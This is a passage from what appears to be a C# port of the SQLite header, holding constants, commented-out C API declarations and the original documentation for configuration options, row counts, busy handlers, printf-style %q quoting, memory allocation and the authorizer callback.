**\n    ** </dl>\n    */\n    //#define SQLITE_CONFIG_SINGLETHREAD  1  /* nil */\n    //#define SQLITE_CONFIG_MULTITHREAD   2  /* nil */\n    //#define SQLITE_CONFIG_SERIALIZED    3  /* nil */\n    //#define SQLITE_CONFIG_MALLOC        4  /* sqlite3_mem_methods* */\n    //#define SQLITE_CONFIG_GETMALLOC     5  /* sqlite3_mem_methods* */\n    //#define SQLITE_CONFIG_SCRATCH       6  /* void*, int sz, int N */\n    //#define SQLITE_CONFIG_PAGECACHE     7  /* void*, int sz, int N */\n    //#define SQLITE_CONFIG_HEAP          8  /* void*, int nByte, int min */\n    //#define SQLITE_CONFIG_MEMSTATUS     9  /* boolean */\n    //#define SQLITE_CONFIG_MUTEX        10  /* sqlite3_mutex_methods* */\n    //#define SQLITE_CONFIG_GETMUTEX     11  /* sqlite3_mutex_methods* */\n    ///* previously SQLITE_CONFIG_CHUNKALLOC 12 which is now unused. */ \n    //#define SQLITE_CONFIG_LOOKASIDE    13  /* int int */\n    //#define SQLITE_CONFIG_PCACHE       14  /* sqlite3_pcache_methods* */\n    //#define SQLITE_CONFIG_GETPCACHE    15  /* sqlite3_pcache_methods* */\n    const int SQLITE_CONFIG_SINGLETHREAD = 1; /* nil */\n    const int SQLITE_CONFIG_MULTITHREAD = 2;  /* nil */\n    const int SQLITE_CONFIG_SERIALIZED = 3;  /* nil */\n    const int SQLITE_CONFIG_MALLOC = 4;  /* sqlite3_mem_methods* */\n    const int SQLITE_CONFIG_GETMALLOC = 5;  /* sqlite3_mem_methods* */\n    const int SQLITE_CONFIG_SCRATCH = 6;  /* void*, int sz, int N */\n    const int SQLITE_CONFIG_PAGECACHE = 7;  /* void*, int sz, int N */\n    const int SQLITE_CONFIG_HEAP = 8;  /* void*, int nByte, int min */\n    const int SQLITE_CONFIG_MEMSTATUS = 9;  /* boolean */\n    const int SQLITE_CONFIG_MUTEX = 10;  /* sqlite3_mutex_methods* */\n    const int SQLITE_CONFIG_GETMUTEX = 11;  /* sqlite3_mutex_methods* */\n    const int SQLITE_CONFIG_LOOKASIDE = 13;  /* int int */\n    const int SQLITE_CONFIG_PCACHE = 14;  /* sqlite3_pcache_methods* */\n    const int SQLITE_CONFIG_GETPCACHE = 15;  /* sqlite3_pcache_methods* */\n\n    /*\n    ** CAPI3REF: Configuration Options {H10170} <S20000>\n    ** EXPERIMENTAL\n    **\n    ** These constants are the available integer configuration options that\n    ** can be passed as the second argument to the [sqlite3_db_config()] interface.\n    **\n    ** New configuration options may be added in future releases of SQLite.\n    ** Existing configuration options might be discontinued.  Applications\n    ** should check the return code from [sqlite3_db_config()] to make sure that\n    ** the call worked.  The [sqlite3_db_config()] interface will return a\n    ** non-zero [error code] if a discontinued or unsupported configuration option\n    ** is invoked.\n    **\n    ** <dl>\n    ** <dt>SQLITE_DBCONFIG_LOOKASIDE</dt>\n    ** <dd>This option takes three additional arguments that determine the \n    ** [lookaside memory allocator] configuration for the [database connection].\n    ** The first argument (the third parameter to [sqlite3_db_config()] is a\n    ** pointer to an 8-byte aligned memory buffer to use for lookaside memory.\n    ** The first argument may be NULL in which case SQLite will allocate the\n    ** lookaside buffer itself using [sqlite3_malloc()].  The second argument is the\n    ** size of each lookaside buffer slot and the third argument is the number of\n    ** slots.  The size of the buffer in the first argument must be greater than\n    ** or equal to the product of the second and third arguments.</dd>\n    **\n    ** </dl>\n    */\n    //#define SQLITE_DBCONFIG_LOOKASIDE    1001  /* void* int int */\n    const int SQLITE_DBCONFIG_LOOKASIDE = 1001;/* void* int int */\n\n\n    /*\n    ** CAPI3REF: Enable Or Disable Extended Result Codes {H12200} <S10700>\n    **\n    ** The sqlite3_extended_result_codes() routine enables or disables the\n    ** [extended result codes] feature of SQLite. The extended result\n    ** codes are disabled by default for historical compatibility considerations.\n    **\n    ** Requirements:\n    ** [H12201] [H12202]\n    */\n    //SQLITE_API int sqlite3_extended_result_codes(sqlite3*, int onoff);\n\n    /*\n    ** CAPI3REF: Last Insert Rowid {H12220} <S10700>\n    **\n    ** Each entry in an SQLite table has a unique 64-bit signed\n    ** integer key called the [ROWID | \"rowid\"]. The rowid is always available\n    ** as an undeclared column named ROWID, OID, or _ROWID_ as long as those\n    ** names are not also used by explicitly declared columns. If\n    ** the table has a column of type [INTEGER PRIMARY KEY] then that column\n    ** is another alias for the rowid.\n    **\n    ** This routine returns the [rowid] of the most recent\n    ** successful [INSERT] into the database from the [database connection]\n    ** in the first argument.  If no successful [INSERT]s\n    ** have ever occurred on that database connection, zero is returned.\n    **\n    ** If an [INSERT] occurs within a trigger, then the [rowid] of the inserted\n    ** row is returned by this routine as long as the trigger is running.\n    ** But once the trigger terminates, the value returned by this routine\n    ** reverts to the last value inserted before the trigger fired.\n    **\n    ** An [INSERT] that fails due to a constraint violation is not a\n    ** successful [INSERT] and does not change the value returned by this\n    ** routine.  Thus INSERT OR FAIL, INSERT OR IGNORE, INSERT OR ROLLBACK,\n    ** and INSERT OR ABORT make no changes to the return value of this\n    ** routine when their insertion fails.  When INSERT OR REPLACE\n    ** encounters a constraint violation, it does not fail.  The\n    ** INSERT continues to completion after deleting rows that caused\n    ** the constraint problem so INSERT OR REPLACE will always change\n    ** the return value of this interface.\n    **\n    ** For the purposes of this routine, an [INSERT] is considered to\n    ** be successful even if it is subsequently rolled back.\n    **\n    ** Requirements:\n    ** [H12221] [H12223]\n    **\n    ** If a separate thread performs a new [INSERT] on the same\n    ** database connection while the [sqlite3_last_insert_rowid()]\n    ** function is running and thus changes the last insert [rowid],\n    ** then the value returned by [sqlite3_last_insert_rowid()] is\n    ** unpredictable and might not equal either the old or the new\n    ** last insert [rowid].\n    */\n    //SQLITE_API sqlite3_int64 sqlite3_last_insert_rowid(sqlite3*);\n\n    /*\n    ** CAPI3REF: Count The Number Of Rows Modified {H12240} <S10600>\n    **\n    ** This function returns the number of database rows that were changed\n    ** or inserted or deleted by the most recently completed SQL statement\n    ** on the [database connection] specified by the first parameter.\n    ** Only changes that are directly specified by the [INSERT], [UPDATE],\n    ** or [DELETE] statement are counted.  Auxiliary changes caused by\n    ** triggers are not counted. Use the [sqlite3_total_changes()] function\n    ** to find the total number of changes including changes caused by triggers.\n    **\n    ** Changes to a view that are simulated by an [INSTEAD OF trigger]\n    ** are not counted.  Only real table changes are counted.\n    **\n    ** A \"row change\" is a change to a single row of a single table\n    ** caused by an INSERT, DELETE, or UPDATE statement.  Rows that\n    ** are changed as side effects of [REPLACE] constraint resolution,\n    ** rollback, ABORT processing, [DROP TABLE], or by any other\n    ** mechanisms do not count as direct row changes.\n    **\n    ** A \"trigger context\" is a scope of execution that begins and\n    ** ends with the script of a [CREATE TRIGGER | trigger]. \n    ** Most SQL statements are\n    ** evaluated outside of any trigger.  This is the \"top level\"\n    ** trigger context.  If a trigger fires from the top level, a\n    ** new trigger context is entered for the duration of that one\n    ** trigger.  Subtriggers create subcontexts for their duration.\n    **\n    ** Calling [sqlite3_exec()] or [sqlite3_step()] recursively does\n    ** not create a new trigger context.\n    **\n    ** This function returns the number of direct row changes in the\n    ** most recent INSERT, UPDATE, or DELETE statement within the same\n    ** trigger context.\n    **\n    ** Thus, when called from the top level, this function returns the\n    ** number of changes in the most recent INSERT, UPDATE, or DELETE\n    ** that also occurred at the top level.  Within the body of a trigger,\n    ** the sqlite3_changes() interface can be called to find the number of\n    ** changes in the most recently completed INSERT, UPDATE, or DELETE\n    ** statement within the body of the same trigger.\n    ** However, the number returned does not include changes\n    ** caused by subtriggers since those have their own context.\n    **\n    ** See also the [sqlite3_total_changes()] interface and the\n    ** [count_changes pragma].\n    **\n    ** Requirements:\n    ** [H12241] [H12243]\n    **\n    ** If a separate thread makes changes on the same database connection\n    ** while [sqlite3_changes()] is running then the value returned\n    ** is unpredictable and not meaningful.\n    */\n    //SQLITE_API int sqlite3_changes(sqlite3*);\n\n    /*\n    ** CAPI3REF: Total Number Of Rows Modified {H12260} <S10600>\n    **\n    ** This function returns the number of row changes caused by [INSERT],\n    ** [UPDATE] or [DELETE] statements since the [database connection] was opened.\n    ** The count includes all changes from all \n    ** [CREATE TRIGGER | trigger] contexts.  However,\n    ** the count does not include changes used to implement [REPLACE] constraints,\n    ** do rollbacks or ABORT processing, or [DROP TABLE] processing.  The\n    ** count does not include rows of views that fire an [INSTEAD OF trigger],\n    ** though if the INSTEAD OF trigger makes changes of its own, those changes \n    ** are counted.\n    ** The changes are counted as soon as the statement that makes them is\n    ** completed (when the statement handle is passed to [sqlite3_reset()] or\n    ** [sqlite3_finalize()]).\n    **\n    ** See also the [sqlite3_changes()] interface and the\n    ** [count_changes pragma].\n    **\n    ** Requirements:\n    ** [H12261] [H12263]\n    **\n    ** If a separate thread makes changes on the same database connection\n    ** while [sqlite3_total_changes()] is running then the value\n    ** returned is unpredictable and not meaningful.\n    */\n    //SQLITE_API int sqlite3_total_changes(sqlite3*);\n\n    /*\n    ** CAPI3REF: Interrupt A Long-Running Query {H12270} <S30500>\n    **\n    ** This function causes any pending database operation to abort and\n    ** return at its earliest opportunity. This routine is typically\n    ** called in response to a user action such as pressing \"Cancel\"\n    ** or Ctrl-C where the user wants a long query operation to halt\n    ** immediately.\n    **\n    ** It is safe to call this routine from a thread different from the\n    ** thread that is currently running the database operation.  But it\n    ** is not safe to call this routine with a [database connection] that\n    ** is closed or might close before sqlite3_interrupt() returns.\n    **\n    ** If an SQL operation is very nearly finished at the time when\n    ** sqlite3_interrupt() is called, then it might not have an opportunity\n    ** to be interrupted and might continue to completion.\n    **\n    ** An SQL operation that is interrupted will return [SQLITE_INTERRUPT].\n    ** If the interrupted SQL operation is an INSERT, UPDATE, or DELETE\n    ** that is inside an explicit transaction, then the entire transaction\n    ** will be rolled back automatically.\n    **\n    ** The sqlite3_interrupt(D) call is in effect until all currently running\n    ** SQL statements on [database connection] D complete.  Any new SQL statements\n    ** that are started after the sqlite3_interrupt() call and before the \n    ** running statements reaches zero are interrupted as if they had been\n    ** running prior to the sqlite3_interrupt() call.  New SQL statements\n    ** that are started after the running statement count reaches zero are\n    ** not effected by the sqlite3_interrupt().\n    ** A call to sqlite3_interrupt(D) that occurs when there are no running\n    ** SQL statements is a no-op and has no effect on SQL statements\n    ** that are started after the sqlite3_interrupt() call returns.\n    **\n    ** Requirements:\n    ** [H12271] [H12272]\n    **\n    ** If the database connection closes while [sqlite3_interrupt()]\n    ** is running then bad things will likely happen.\n    */\n    //SQLITE_API void sqlite3_interrupt(sqlite3*);\n\n    /*\n    ** CAPI3REF: Determine If An SQL Statement Is Complete {H10510} <S70200>\n    **\n    ** These routines are useful during command-line input to determine if the\n    ** currently entered text seems to form a complete SQL statement or\n    ** if additional input is needed before sending the text into\n    ** SQLite for parsing.  These routines return 1 if the input string\n    ** appears to be a complete SQL statement.  A statement is judged to be\n    ** complete if it ends with a semicolon token and is not a prefix of a\n    ** well-formed CREATE TRIGGER statement.  Semicolons that are embedded within\n    ** string literals or quoted identifier names or comments are not\n    ** independent tokens (they are part of the token in which they are\n    ** embedded) and thus do not count as a statement terminator.  Whitespace\n    ** and comments that follow the final semicolon are ignored.\n    **\n    ** These routines return 0 if the statement is incomplete.  If a\n    ** memory allocation fails, then SQLITE_NOMEM is returned.\n    **\n    ** These routines do not parse the SQL statements thus\n    ** will not detect syntactically incorrect SQL.\n    **\n    ** If SQLite has not been initialized using [sqlite3_initialize()] prior \n    ** to invoking sqlite3_complete16() then sqlite3_initialize() is invoked\n    ** automatically by sqlite3_complete16().  If that initialization fails,\n    ** then the return value from sqlite3_complete16() will be non-zero\n    ** regardless of whether or not the input SQL is complete.\n    **\n    ** Requirements: [H10511] [H10512]\n    **\n    ** The input to [sqlite3_complete()] must be a zero-terminated\n    ** UTF-8 string.\n    **\n    ** The input to [sqlite3_complete16()] must be a zero-terminated\n    ** UTF-16 string in native byte order.\n    */\n    //SQLITE_API int sqlite3_complete(const char *sql);\n    //SQLITE_API int sqlite3_complete16(const void *sql);\n\n    /*\n    ** CAPI3REF: Register A Callback To Handle SQLITE_BUSY Errors {H12310} <S40400>\n    **\n    ** This routine sets a callback function that might be invoked whenever\n    ** an attempt is made to open a database table that another thread\n    ** or process has locked.\n    **\n    ** If the busy callback is NULL, then [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED]\n    ** is returned immediately upon encountering the lock. If the busy callback\n    ** is not NULL, then the callback will be invoked with two arguments.\n    **\n    ** The first argument to the handler is a copy of the void* pointer which\n    ** is the third argument to sqlite3_busy_handler().  The second argument to\n    ** the handler callback is the number of times that the busy handler has\n    ** been invoked for this locking event.  If the\n    ** busy callback returns 0, then no additional attempts are made to\n    ** access the database and [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED] is returned.\n    ** If the callback returns non-zero, then another attempt\n    ** is made to open the database for reading and the cycle repeats.\n    **\n    ** The presence of a busy handler does not guarantee that it will be invoked\n    ** when there is lock contention. If SQLite determines that invoking the busy\n    ** handler could result in a deadlock, it will go ahead and return [SQLITE_BUSY]\n    ** or [SQLITE_IOERR_BLOCKED] instead of invoking the busy handler.\n    ** Consider a scenario where one process is holding a read lock that\n    ** it is trying to promote to a reserved lock and\n    ** a second process is holding a reserved lock that it is trying\n    ** to promote to an exclusive lock.  The first process cannot proceed\n    ** because it is blocked by the second and the second process cannot\n    ** proceed because it is blocked by the first.  If both processes\n    ** invoke the busy handlers, neither will make any progress.  Therefore,\n    ** SQLite returns [SQLITE_BUSY] for the first process, hoping that this\n    ** will induce the first process to release its read lock and allow\n    ** the second process to proceed.\n    **\n    ** The default busy callback is NULL.\n    **\n    ** The [SQLITE_BUSY] error is converted to [SQLITE_IOERR_BLOCKED]\n    ** when SQLite is in the middle of a large transaction where all the\n    ** changes will not fit into the in-memory cache.  SQLite will\n    ** already hold a RESERVED lock on the database file, but it needs\n    ** to promote this lock to EXCLUSIVE so that it can spill cache\n    ** pages into the database file without harm to concurrent\n    ** readers.  If it is unable to promote the lock, then the in-memory\n    ** cache will be left in an inconsistent state and so the error\n    ** code is promoted from the relatively benign [SQLITE_BUSY] to\n    ** the more severe [SQLITE_IOERR_BLOCKED].  This error code promotion\n    ** forces an automatic rollback of the changes.  See the\n    ** <a href=\"/cvstrac/wiki?p=CorruptionFollowingBusyError\">\n    ** CorruptionFollowingBusyError</a> wiki page for a discussion of why\n    ** this is important.\n    **\n    ** There can only be a single busy handler defined for each\n    ** [database connection].  Setting a new busy handler clears any\n    ** previously set handler.  Note that calling [sqlite3_busy_timeout()]\n    ** will also set or clear the busy handler.\n    **\n    ** The busy callback should not take any actions which modify the\n    ** database connection that invoked the busy handler.  Any such actions\n    ** result in undefined behavior.\n    ** \n    ** Requirements:\n    ** [H12311] [H12312] [H12314] [H12316] [H12318]\n    **\n    ** A busy handler must not close the database connection\n    ** or [prepared statement] that invoked the busy handler.\n    */\n    //SQLITE_API int sqlite3_busy_handler(sqlite3*, int(*)(void*,int), void*);\n\n    /*\n    ** CAPI3REF: Set A Busy Timeout {H12340} <S40410>\n    **\n    ** This routine sets a [sqlite3_busy_handler | busy handler] that sleeps\n    ** for a specified amount of time when a table is locked.  The handler\n    ** will sleep multiple times until at least \"ms\" milliseconds of sleeping\n    ** have accumulated. {H12343} After \"ms\" milliseconds of sleeping,\n    ** the handler returns 0 which causes [sqlite3_step()] to return\n    ** [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED].\n    **\n    ** Calling this routine with an argument less than or equal to zero\n    ** turns off all busy handlers.\n    **\n    ** There can only be a single busy handler for a particular\n    ** [database connection] any any given moment.  If another busy handler\n    ** was defined  (using [sqlite3_busy_handler()]) prior to calling\n    ** this routine, that other busy handler is cleared.\n    **\n    ** Requirements:\n    ** [H12341] [H12343] [H12344]\n    */\n    //SQLITE_API int sqlite3_busy_timeout(sqlite3*, int ms);\n\n    /*\n    ** CAPI3REF: Convenience Routines For Running Queries {H12370} <S10000>\n    **\n    ** Definition: A <b>result table</b> is memory data structure created by the\n    ** [sqlite3_get_table()] interface.  A result table records the\n    ** complete query results from one or more queries.\n    **\n    ** The table conceptually has a number of rows and columns.  But\n    ** these numbers are not part of the result table itself.  These\n    ** numbers are obtained separately.  Let N be the number of rows\n    ** and M be the number of columns.\n    **\n    ** A result table is an array of pointers to zero-terminated UTF-8 strings.\n    ** There are (N+1)*M elements in the array.  The first M pointers point\n    ** to zero-terminated strings that  contain the names of the columns.\n    ** The remaining entries all point to query results.  NULL values result\n    ** in NULL pointers.  All other values are in their UTF-8 zero-terminated\n    ** string representation as returned by [sqlite3_column_text()].\n    **\n    ** A result table might consist of one or more memory allocations.\n    ** It is not safe to pass a result table directly to [sqlite3_free()].\n    ** A result table should be deallocated using [sqlite3_free_table()].\n    **\n    ** As an example of the result table format, suppose a query result\n    ** is as follows:\n    **\n    ** <blockquote><pre>\n    **        Name        | Age\n    **        -----------------------\n    **        Alice       | 43\n    **        Bob         | 28\n    **        Cindy       | 21\n    ** </pre></blockquote>\n    **\n    ** There are two column (M==2) and three rows (N==3).  Thus the\n    ** result table has 8 entries.  Suppose the result table is stored\n    ** in an array names azResult.  Then azResult holds this content:\n    **\n    ** <blockquote><pre>\n    **        azResult&#91;0] = \"Name\";\n    **        azResult&#91;1] = \"Age\";\n    **        azResult&#91;2] = \"Alice\";\n    **        azResult&#91;3] = \"43\";\n    **        azResult&#91;4] = \"Bob\";\n    **        azResult&#91;5] = \"28\";\n    **        azResult&#91;6] = \"Cindy\";\n    **        azResult&#91;7] = \"21\";\n    ** </pre></blockquote>\n    **\n    ** The sqlite3_get_table() function evaluates one or more\n    ** semicolon-separated SQL statements in the zero-terminated UTF-8\n    ** string of its 2nd parameter.  It returns a result table to the\n    ** pointer given in its 3rd parameter.\n    **\n    ** After the calling function has finished using the result, it should\n    ** pass the pointer to the result table to sqlite3_free_table() in order to\n    ** release the memory that was malloced.  Because of the way the\n    ** [sqlite3_malloc()] happens within sqlite3_get_table(), the calling\n    ** function must not try to call [sqlite3_free()] directly.  Only\n    ** [sqlite3_free_table()] is able to release the memory properly and safely.\n    **\n    ** The sqlite3_get_table() interface is implemented as a wrapper around\n    ** [sqlite3_exec()].  The sqlite3_get_table() routine does not have access\n    ** to any internal data structures of SQLite.  It uses only the public\n    ** interface defined here.  As a consequence, errors that occur in the\n    ** wrapper layer outside of the internal [sqlite3_exec()] call are not\n    ** reflected in subsequent calls to [sqlite3_errcode()] or [sqlite3_errmsg()].\n    **\n    ** Requirements:\n    ** [H12371] [H12373] [H12374] [H12376] [H12379] [H12382]\n    */\n    //SQLITE_API int sqlite3_get_table(\n    //  sqlite3 *db,          /* An open database */\n    //  const char *zSql,     /* SQL to be evaluated */\n    //  char ***pazResult,    /* Results of the query */\n    //  int *pnRow,           /* Number of result rows written here */\n    //  int *pnColumn,        /* Number of result columns written here */\n    //  char **pzErrmsg       /* Error msg written here */\n    //);\n    //SQLITE_API void sqlite3_free_table(char **result);\n\n    /*\n    ** CAPI3REF: Formatted String Printing Functions {H17400} <S70000><S20000>\n    **\n    ** These routines are workalikes of the \"printf()\" family of functions\n    ** from the standard C library.\n    **\n    ** The sqlite3_mprintf() and sqlite3_vmprintf() routines write their\n    ** results into memory obtained from [sqlite3_malloc()].\n    ** The strings returned by these two routines should be\n    ** released by [sqlite3_free()].  Both routines return a\n    ** NULL pointer if [sqlite3_malloc()] is unable to allocate enough\n    ** memory to hold the resulting string.\n    **\n    ** In sqlite3_snprintf() routine is similar to \"snprintf()\" from\n    ** the standard C library.  The result is written into the\n    ** buffer supplied as the second parameter whose size is given by\n    ** the first parameter. Note that the order of the\n    ** first two parameters is reversed from snprintf().  This is an\n    ** historical accident that cannot be fixed without breaking\n    ** backwards compatibility.  Note also that sqlite3_snprintf()\n    ** returns a pointer to its buffer instead of the number of\n    ** characters actually written into the buffer.  We admit that\n    ** the number of characters written would be a more useful return\n    ** value but we cannot change the implementation of sqlite3_snprintf()\n    ** now without breaking compatibility.\n    **\n    ** As long as the buffer size is greater than zero, sqlite3_snprintf()\n    ** guarantees that the buffer is always zero-terminated.  The first\n    ** parameter \"n\" is the total size of the buffer, including space for\n    ** the zero terminator.  So the longest string that can be completely\n    ** written will be n-1 characters.\n    **\n    ** These routines all implement some additional formatting\n    ** options that are useful for constructing SQL statements.\n    ** All of the usual printf() formatting options apply.  In addition, there\n    ** is are \"%q\", \"%Q\", and \"%z\" options.\n    **\n    ** The %q option works like %s in that it substitutes a null-terminated\n    ** string from the argument list.  But %q also doubles every '\\'' character.\n    ** %q is designed for use inside a string literal.  By doubling each '\\''\n    ** character it escapes that character and allows it to be inserted into\n    ** the string.\n    **\n    ** For example, assume the string variable zText contains text as follows:\n    **\n    ** <blockquote><pre>\n    **  char *zText = \"It's a happy day!\";\n    ** </pre></blockquote>\n    **\n    ** One can use this text in an SQL statement as follows:\n    **\n    ** <blockquote><pre>\n    **  char *zSQL = sqlite3_mprintf(\"INSERT INTO table VALUES('%q')\", zText);\n    **  sqlite3_exec(db, zSQL, 0, 0, 0);\n    **  sqlite3_free(zSQL);\n    ** </pre></blockquote>\n    **\n    ** Because the %q format string is used, the '\\'' character in zText\n    ** is escaped and the SQL generated is as follows:\n    **\n    ** <blockquote><pre>\n    **  INSERT INTO table1 VALUES('It''s a happy day!')\n    ** </pre></blockquote>\n    **\n    ** This is correct.  Had we used %s instead of %q, the generated SQL\n    ** would have looked like this:\n    **\n    ** <blockquote><pre>\n    **  INSERT INTO table1 VALUES('It's a happy day!');\n    ** </pre></blockquote>\n    **\n    ** This second example is an SQL syntax error.  As a general rule you should\n    ** always use %q instead of %s when inserting text into a string literal.\n    **\n    ** The %Q option works like %q except it also adds single quotes around\n    ** the outside of the total string.  Additionally, if the parameter in the\n    ** argument list is a NULL pointer, %Q substitutes the text \"NULL\" (without\n    ** single quotes) in place of the %Q option.  So, for example, one could say:\n    **\n    ** <blockquote><pre>\n    **  char *zSQL = sqlite3_mprintf(\"INSERT INTO table VALUES(%Q)\", zText);\n    **  sqlite3_exec(db, zSQL, 0, 0, 0);\n    **  sqlite3_free(zSQL);\n    ** </pre></blockquote>\n    **\n    ** The code above will render a correct SQL statement in the zSQL\n    ** variable even if the zText variable is a NULL pointer.\n    **\n    ** The \"%z\" formatting option works exactly like \"%s\" with the\n    ** addition that after the string has been read and copied into\n    ** the result, [sqlite3_free()] is called on the input string. {END}\n    **\n    ** Requirements:\n    ** [H17403] [H17406] [H17407]\n    */\n    //SQLITE_API char *sqlite3_mprintf(const char*,...);\n    //SQLITE_API char *sqlite3_vmprintf(const char*, va_list);\n    //SQLITE_API char *sqlite3_snprintf(int,char*,const char*, ...);\n\n    /*\n    ** CAPI3REF: Memory Allocation Subsystem {H17300} <S20000>\n    **\n    ** The SQLite core  uses these three routines for all of its own\n    ** internal memory allocation needs. \"Core\" in the previous sentence\n    ** does not include operating-system specific VFS implementation.  The\n    ** Windows VFS uses native malloc() and free() for some operations.\n    **\n    ** The sqlite3_malloc() routine returns a pointer to a block\n    ** of memory at least N bytes in length, where N is the parameter.\n    ** If sqlite3_malloc() is unable to obtain sufficient free\n    ** memory, it returns a NULL pointer.  If the parameter N to\n    ** sqlite3_malloc() is zero or negative then sqlite3_malloc() returns\n    ** a NULL pointer.\n    **\n    ** Calling sqlite3_free() with a pointer previously returned\n    ** by sqlite3_malloc() or sqlite3_realloc() releases that memory so\n    ** that it might be reused.  The sqlite3_free() routine is\n    ** a no-op if is called with a NULL pointer.  Passing a NULL pointer\n    ** to sqlite3_free() is harmless.  After being freed, memory\n    ** should neither be read nor written.  Even reading previously freed\n    ** memory might result in a segmentation fault or other severe error.\n    ** Memory corruption, a segmentation fault, or other severe error\n    ** might result if sqlite3_free() is called with a non-NULL pointer that\n    ** was not obtained from sqlite3_malloc() or sqlite3_realloc().\n    **\n    ** The sqlite3_realloc() interface attempts to resize a\n    ** prior memory allocation to be at least N bytes, where N is the\n    ** second parameter.  The memory allocation to be resized is the first\n    ** parameter.  If the first parameter to sqlite3_realloc()\n    ** is a NULL pointer then its behavior is identical to calling\n    ** sqlite3_malloc(N) where N is the second parameter to sqlite3_realloc().\n    ** If the second parameter to sqlite3_realloc() is zero or\n    ** negative then the behavior is exactly the same as calling\n    ** sqlite3_free(P) where P is the first parameter to sqlite3_realloc().\n    ** sqlite3_realloc() returns a pointer to a memory allocation\n    ** of at least N bytes in size or NULL if sufficient memory is unavailable.\n    ** If M is the size of the prior allocation, then min(N,M) bytes\n    ** of the prior allocation are copied into the beginning of buffer returned\n    ** by sqlite3_realloc() and the prior allocation is freed.\n    ** If sqlite3_realloc() returns NULL, then the prior allocation\n    ** is not freed.\n    **\n    ** The memory returned by sqlite3_malloc() and sqlite3_realloc()\n    ** is always aligned to at least an 8 byte boundary. {END}\n    **\n    ** The default implementation of the memory allocation subsystem uses\n    ** the malloc(), realloc() and free() provided by the standard C library.\n    ** {H17382} However, if SQLite is compiled with the\n    ** SQLITE_MEMORY_SIZE=<i>NNN</i> C preprocessor macro (where <i>NNN</i>\n    ** is an integer), then SQLite create a static array of at least\n    ** <i>NNN</i> bytes in size and uses that array for all of its dynamic\n    ** memory allocation needs. {END}  Additional memory allocator options\n    ** may be added in future releases.\n    **\n    ** In SQLite version 3.5.0 and 3.5.1, it was possible to define\n    ** the SQLITE_OMIT_MEMORY_ALLOCATION which would cause the built-in\n    ** implementation of these routines to be omitted.  That capability\n    ** is no longer provided.  Only built-in memory allocators can be used.\n    **\n    ** The Windows OS interface layer calls\n    ** the system malloc() and free() directly when converting\n    ** filenames between the UTF-8 encoding used by SQLite\n    ** and whatever filename encoding is used by the particular Windows\n    ** installation.  Memory allocation errors are detected, but\n    ** they are reported back as [SQLITE_CANTOPEN] or\n    ** [SQLITE_IOERR] rather than [SQLITE_NOMEM].\n    **\n    ** Requirements:\n    ** [H17303] [H17304] [H17305] [H17306] [H17310] [H17312] [H17315] [H17318]\n    ** [H17321] [H17322] [H17323]\n    **\n    ** The pointer arguments to [sqlite3_free()] and [sqlite3_realloc()]\n    ** must be either NULL or else pointers obtained from a prior\n    ** invocation of [sqlite3_malloc()] or [sqlite3_realloc()] that have\n    ** not yet been released.\n    **\n    ** The application must not read or write any part of\n    ** a block of memory after it has been released using\n    ** [sqlite3_free()] or [sqlite3_realloc()].\n    */\n    //SQLITE_API void *sqlite3_malloc(int);\n    //SQLITE_API void *sqlite3_realloc(void*, int);\n    //SQLITE_API void sqlite3_free(void*);\n\n    /*\n    ** CAPI3REF: Memory Allocator Statistics {H17370} <S30210>\n    **\n    ** SQLite provides these two interfaces for reporting on the status\n    ** of the [sqlite3_malloc()], [sqlite3_free()], and [sqlite3_realloc()]\n    ** routines, which form the built-in memory allocation subsystem.\n    **\n    ** Requirements:\n    ** [H17371] [H17373] [H17374] [H17375]\n    */\n    //SQLITE_API sqlite3_int64 sqlite3_memory_used(void);\n    //SQLITE_API sqlite3_int64 sqlite3_memory_highwater(int resetFlag);\n\n    /*\n    ** CAPI3REF: Pseudo-Random Number Generator {H17390} <S20000>\n    **\n    ** SQLite contains a high-quality pseudo-random number generator (PRNG) used to\n    ** select random [ROWID | ROWIDs] when inserting new records into a table that\n    ** already uses the largest possible [ROWID].  The PRNG is also used for\n    ** the build-in random() and randomblob() SQL functions.  This interface allows\n    ** applications to access the same PRNG for other purposes.\n    **\n    ** A call to this routine stores N bytes of randomness into buffer P.\n    **\n    ** The first time this routine is invoked (either internally or by\n    ** the application) the PRNG is seeded using randomness obtained\n    ** from the xRandomness method of the default [sqlite3_vfs] object.\n    ** On all subsequent invocations, the pseudo-randomness is generated\n    ** internally and without recourse to the [sqlite3_vfs] xRandomness\n    ** method.\n    **\n    ** Requirements:\n    ** [H17392]\n    */\n    //SQLITE_API void sqlite3_randomness(int N, void *P);\n\n    /*\n    ** CAPI3REF: Compile-Time Authorization Callbacks {H12500} <S70100>\n    **\n    ** This routine registers a authorizer callback with a particular\n    ** [database connection], supplied in the first argument.\n    ** The authorizer callback is invoked as SQL statements are being compiled\n    ** by [sqlite3_prepare()] or its variants [sqlite3_prepare_v2()],\n    ** [sqlite3_prepare16()] and [sqlite3_prepare16_v2()].  At various\n    ** points during the compilation process, as logic is being created\n    ** to perform various actions, the authorizer callback is invoked to\n    ** see if those actions are allowed.  The authorizer callback should\n    ** return [SQLITE_OK] to allow the action, [SQLITE_IGNORE] to disallow the\n    ** specific action but allow the SQL statement to continue to be\n    ** compiled, or [SQLITE_DENY] to cause the entire SQL statement to be\n    ** rejected with an error.  If the authorizer callback returns\n    ** any value other than [SQLITE_IGNORE], [SQLITE_OK], or [SQLITE_DENY]\n    ** then the [sqlite3_prepare_v2()] or equivalent call that triggered\n    ** the authorizer will fail with an error message.\n    **\n    ** When the callback returns [SQLITE_OK], that means the operation\n    ** requested is ok.  When the callback returns [SQLITE_DENY], the\n    ** [sqlite3_prepare_v2()] or equivalent call that triggered the\n    ** authorizer will fail with an error message explaining that\n    ** access is denied. \n    **\n    ** The first parameter to the authorizer callback is a copy of the third\n    ** parameter to the sqlite3_set_authorizer() interface. The second parameter\n    ** to the callback is an integer [SQLITE_COPY | action code] that specifies\n    ** the particular action to be authorized. The third through sixth parameters\n    ** to the callback are zero-terminated strings that contain additional\n    ** details about the action to be authorized.\n    **\n    ** If the action code is [SQLITE_READ]\n    ** and the callback returns [SQLITE_IGNORE] then the\n    ** [prepared statement] statement is constructed to substitute\n    ** a NULL value in place of the table column that would have\n    ** been read if [SQLITE_OK] had been returned.  The [SQLITE_IGNORE]\n    ** return can be used to deny an untrusted user access to individual\n    ** columns of a table.\n    ** If the action code is [SQLITE_DELETE] and the callback returns\n    ** [SQLITE_IGNORE] then the [DELETE] operation proceeds but the\n    ** [truncate optimization] is disabled and all rows are deleted individually.\n    **\n    ** An authorizer is used when [sqlite3_prepare | 